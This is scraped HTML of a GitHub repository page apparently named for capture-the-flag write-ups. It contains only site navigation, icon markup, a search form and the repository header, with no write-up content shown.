<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="96701284" data-scoped-search-url="/coldBug/ctfwriteups/search" data-owner-scoped-search-url="/users/coldBug/search" data-unscoped-search-url="/search" data-turbo="false" action="/coldBug/ctfwriteups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="n1+TjHH8OJcNuEsVijWhD5odOjxdSKVDr4H9AP4DsxP5YT2RonoE39L6jHHnCRFQCvINqNU9JntqhnrYkgawAQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> coldBug </span> <span>/</span> ctfwriteups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>1</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
